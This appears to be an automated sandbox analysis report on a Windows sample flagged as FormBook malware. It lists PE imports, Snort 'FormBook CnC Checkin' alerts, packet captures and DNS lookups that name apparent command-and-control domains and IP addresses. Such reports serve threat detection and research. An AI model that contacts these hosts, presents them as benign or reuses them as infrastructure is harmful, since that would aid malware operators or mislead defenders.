RT_GROUP_CURSOR	0x2501ec	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x250200	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x250214	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x250228	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_CURSOR	0x25023c	0x14	Lotus unknown worksheet or configuration, revision 0x1	1.3
RT_GROUP_ICON	0x250250	0x5a	data	0.8

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, UpdateResourceA, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryW, LoadLibraryA, LeaveCriticalSection, IsBadStringPtrA, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetSystemDefaultLangID, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumResourceNamesA, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPolyFillMode, GetPixelFormat, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIconFromResourceEx, CreateIcon, CopyIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
ole32.dll	CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ExtractIconA
nTDLL	ZwProtectVirtualMemory
ntdll	ZwWriteVirtualMemory

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.63.33.130.19049750802031412 11/30/23-14:58:44.521868	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49750	80	192.168.2.6	3.33.130.190
192.168.2.6104.247.81.5049751802031412 11/30/23-14:59:05.034219	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49751	80	192.168.2.6	104.247.81.50
192.168.2.6104.140.89.2449749802031412 11/30/23-14:58:24.506470	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49749	80	192.168.2.6	104.140.89.24
192.168.2.662.72.50.8849753802031412 11/30/23-14:59:45.996751	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49753	80	192.168.2.6	62.72.50.88
192.168.2.634.93.103.3949748802031412 11/30/23-14:58:03.063025	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49748	80	192.168.2.6	34.93.103.39
192.168.2.637.97.254.2749752802031412 11/30/23-14:59:25.599111	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.6	37.97.254.27
192.168.2.63.33.130.19049747802031412 11/30/23-14:57:23.481544	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49747	80	192.168.2.6	3.33.130.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2023 14:57:23.382141113 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.481360912 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:57:23.481458902 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.481544018 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.580455065 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:57:23.581691980 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:57:23.581727028 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:57:23.581816912 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.581841946 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.595259905 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:57:23.595333099 CET	49747	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:57:23.680820942 CET	80	49747	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:02.717262030 CET	49748	80	192.168.2.6	34.93.103.39
Nov 30, 2023 14:58:03.062721968 CET	80	49748	34.93.103.39	192.168.2.6
Nov 30, 2023 14:58:03.062918901 CET	49748	80	192.168.2.6	34.93.103.39
Nov 30, 2023 14:58:03.063024998 CET	49748	80	192.168.2.6	34.93.103.39
Nov 30, 2023 14:58:03.407520056 CET	80	49748	34.93.103.39	192.168.2.6
Nov 30, 2023 14:58:03.408822060 CET	80	49748	34.93.103.39	192.168.2.6
Nov 30, 2023 14:58:03.408835888 CET	80	49748	34.93.103.39	192.168.2.6
Nov 30, 2023 14:58:03.409063101 CET	49748	80	192.168.2.6	34.93.103.39
Nov 30, 2023 14:58:03.409121990 CET	49748	80	192.168.2.6	34.93.103.39
Nov 30, 2023 14:58:03.753861904 CET	80	49748	34.93.103.39	192.168.2.6
Nov 30, 2023 14:58:24.371397018 CET	49749	80	192.168.2.6	104.140.89.24
Nov 30, 2023 14:58:24.506150961 CET	80	49749	104.140.89.24	192.168.2.6
Nov 30, 2023 14:58:24.506325960 CET	49749	80	192.168.2.6	104.140.89.24
Nov 30, 2023 14:58:24.506469965 CET	49749	80	192.168.2.6	104.140.89.24
Nov 30, 2023 14:58:24.645257950 CET	80	49749	104.140.89.24	192.168.2.6
Nov 30, 2023 14:58:25.002307892 CET	49749	80	192.168.2.6	104.140.89.24
Nov 30, 2023 14:58:25.137725115 CET	80	49749	104.140.89.24	192.168.2.6
Nov 30, 2023 14:58:25.137778044 CET	49749	80	192.168.2.6	104.140.89.24
Nov 30, 2023 14:58:44.422621012 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.521595001 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:44.521709919 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.521867990 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.620805979 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:44.626300097 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:44.626323938 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:44.626566887 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.626609087 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.642180920 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:58:44.642380953 CET	49750	80	192.168.2.6	3.33.130.190
Nov 30, 2023 14:58:44.725509882 CET	80	49750	3.33.130.190	192.168.2.6
Nov 30, 2023 14:59:04.784322977 CET	49751	80	192.168.2.6	104.247.81.50
Nov 30, 2023 14:59:04.909048080 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:04.909234047 CET	49751	80	192.168.2.6	104.247.81.50
Nov 30, 2023 14:59:05.034149885 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:05.034219027 CET	49751	80	192.168.2.6	104.247.81.50
Nov 30, 2023 14:59:05.162760973 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:05.162866116 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:05.162878036 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:05.162961006 CET	49751	80	192.168.2.6	104.247.81.50
Nov 30, 2023 14:59:05.163002968 CET	49751	80	192.168.2.6	104.247.81.50
Nov 30, 2023 14:59:05.287817001 CET	80	49751	104.247.81.50	192.168.2.6
Nov 30, 2023 14:59:25.416368961 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.596170902 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.596410990 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.599111080 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.780606985 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780627012 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780642986 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780658007 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780670881 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780683041 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780695915 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780708075 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780720949 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780725956 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.780736923 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.780767918 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.780785084 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.960726023 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960789919 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960823059 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960839033 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960855007 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960869074 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960891008 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960912943 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960936069 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960959911 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.960980892 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961019039 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961035967 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961042881 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961066008 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961081982 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961081982 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961095095 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961117029 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961122036 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961142063 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961163998 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961170912 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961186886 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961216927 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:25.961227894 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:25.961265087 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.096074104 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141356945 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141415119 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141450882 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141457081 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141477108 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141501904 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141524076 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141545057 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141585112 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141621113 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141633987 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141658068 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141674042 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141694069 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141699076 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141730070 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141738892 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141766071 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141793966 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141805887 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141817093 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141844034 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141855955 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141879082 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141895056 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141915083 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141923904 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141951084 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141963959 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.141985893 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.141994953 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.142021894 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.142034054 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.142056942 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.142064095 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.142110109 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:26.276046038 CET	80	49752	37.97.254.27	192.168.2.6
Nov 30, 2023 14:59:26.276124001 CET	49752	80	192.168.2.6	37.97.254.27
Nov 30, 2023 14:59:45.842135906 CET	49753	80	192.168.2.6	62.72.50.88
Nov 30, 2023 14:59:45.996342897 CET	80	49753	62.72.50.88	192.168.2.6
Nov 30, 2023 14:59:45.996486902 CET	49753	80	192.168.2.6	62.72.50.88
Nov 30, 2023 14:59:45.996751070 CET	49753	80	192.168.2.6	62.72.50.88
Nov 30, 2023 14:59:46.150501966 CET	80	49753	62.72.50.88	192.168.2.6
Nov 30, 2023 14:59:46.150660992 CET	80	49753	62.72.50.88	192.168.2.6
Nov 30, 2023 14:59:46.150671005 CET	80	49753	62.72.50.88	192.168.2.6
Nov 30, 2023 14:59:46.150805950 CET	49753	80	192.168.2.6	62.72.50.88
Nov 30, 2023 14:59:46.150978088 CET	49753	80	192.168.2.6	62.72.50.88
Nov 30, 2023 14:59:46.304747105 CET	80	49753	62.72.50.88	192.168.2.6
Nov 30, 2023 15:00:08.723479986 CET	49754	80	192.168.2.6	156.237.159.158
Nov 30, 2023 15:00:09.039400101 CET	80	49754	156.237.159.158	192.168.2.6
Nov 30, 2023 15:00:09.039534092 CET	49754	80	192.168.2.6	156.237.159.158
Nov 30, 2023 15:00:09.039658070 CET	49754	80	192.168.2.6	156.237.159.158
Nov 30, 2023 15:00:09.355674982 CET	80	49754	156.237.159.158	192.168.2.6
Nov 30, 2023 15:00:09.355779886 CET	49754	80	192.168.2.6	156.237.159.158
Nov 30, 2023 15:00:09.355825901 CET	49754	80	192.168.2.6	156.237.159.158
Nov 30, 2023 15:00:09.672169924 CET	80	49754	156.237.159.158	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2023 14:56:13.914278984 CET	53945	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:56:14.789621115 CET	64196	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:56:41.161073923 CET	56228	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:57:01.941209078 CET	62899	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:57:02.152853012 CET	53	62899	1.1.1.1	192.168.2.6
Nov 30, 2023 14:57:23.174552917 CET	50375	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:57:23.381191969 CET	53	50375	1.1.1.1	192.168.2.6
Nov 30, 2023 14:57:42.159241915 CET	52438	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:57:42.291683912 CET	53	52438	1.1.1.1	192.168.2.6
Nov 30, 2023 14:58:02.331818104 CET	54491	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:58:02.716052055 CET	53	54491	1.1.1.1	192.168.2.6
Nov 30, 2023 14:58:23.905452967 CET	52372	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:58:24.370285988 CET	53	52372	1.1.1.1	192.168.2.6
Nov 30, 2023 14:58:44.284368992 CET	57643	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:58:44.421730995 CET	53	57643	1.1.1.1	192.168.2.6
Nov 30, 2023 14:59:04.643887043 CET	63716	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:59:04.782854080 CET	53	63716	1.1.1.1	192.168.2.6
Nov 30, 2023 14:59:25.025506973 CET	65299	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:59:25.415021896 CET	53	65299	1.1.1.1	192.168.2.6
Nov 30, 2023 14:59:45.393870115 CET	64320	53	192.168.2.6	1.1.1.1
Nov 30, 2023 14:59:45.840954065 CET	53	64320	1.1.1.1	192.168.2.6
Nov 30, 2023 15:00:06.378057003 CET	61142	53	192.168.2.6	1.1.1.1
Nov 30, 2023 15:00:06.987632990 CET	53	61142	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2023 14:56:13.914278984 CET	192.168.2.6	1.1.1.1	0xeb02	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:56:14.789621115 CET	192.168.2.6	1.1.1.1	0x8975	Standard query (0)	naopta.bn.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:56:41.161073923 CET	192.168.2.6	1.1.1.1	0x6f7c	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:01.941209078 CET	192.168.2.6	1.1.1.1	0x83a4	Standard query (0)	www.sprockettrucking.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:23.174552917 CET	192.168.2.6	1.1.1.1	0x82f4	Standard query (0)	www.leathfortexas.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:42.159241915 CET	192.168.2.6	1.1.1.1	0x3e50	Standard query (0)	www.ouxodb001.cfd	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:02.331818104 CET	192.168.2.6	1.1.1.1	0x1c48	Standard query (0)	www.optimusvisionlb.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:23.905452967 CET	192.168.2.6	1.1.1.1	0xb2f5	Standard query (0)	www.maltsky.net	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:44.284368992 CET	192.168.2.6	1.1.1.1	0xaac1	Standard query (0)	www.thnkotb.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:04.643887043 CET	192.168.2.6	1.1.1.1	0xfe36	Standard query (0)	www.harmonicod.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:25.025506973 CET	192.168.2.6	1.1.1.1	0xafb1	Standard query (0)	www.kermisbedrijfkramer.online	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:59:45.393870115 CET	192.168.2.6	1.1.1.1	0xb84e	Standard query (0)	www.stellarskyline.com	A (IP address)	IN (0x0001)	false
Nov 30, 2023 15:00:06.378057003 CET	192.168.2.6	1.1.1.1	0x300e	Standard query (0)	www.hivaom.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2023 14:56:14.044619083 CET	1.1.1.1	192.168.2.6	0xeb02	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:56:14.044619083 CET	1.1.1.1	192.168.2.6	0xeb02	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:56:14.947844982 CET	1.1.1.1	192.168.2.6	0x8975	No error (0)	naopta.bn.files.1drv.com	bn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:56:14.947844982 CET	1.1.1.1	192.168.2.6	0x8975	No error (0)	bn-files.fe.1drv.com	odc-bn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:56:41.291358948 CET	1.1.1.1	192.168.2.6	0x6f7c	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:56:41.291358948 CET	1.1.1.1	192.168.2.6	0x6f7c	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:57:02.152853012 CET	1.1.1.1	192.168.2.6	0x83a4	Name error (3)	www.sprockettrucking.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:23.381191969 CET	1.1.1.1	192.168.2.6	0x82f4	No error (0)	www.leathfortexas.com	leathfortexas.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:57:23.381191969 CET	1.1.1.1	192.168.2.6	0x82f4	No error (0)	leathfortexas.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:23.381191969 CET	1.1.1.1	192.168.2.6	0x82f4	No error (0)	leathfortexas.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:57:42.291683912 CET	1.1.1.1	192.168.2.6	0x3e50	Name error (3)	www.ouxodb001.cfd	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2023 14:58:02.716052055 CET	1.1.1.1	192.168.2.6	0x1c48	No error (0)	www.optimusvisionlb.com	optimus-vision.odoo.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2023 14:58:02.716052055 CET	1.1.1.1	192.168.2.6	0x1c48	No error (0)	optimus-vision.odoo.com		34.93.103.39	A (IP address)	IN (0x0001)	false
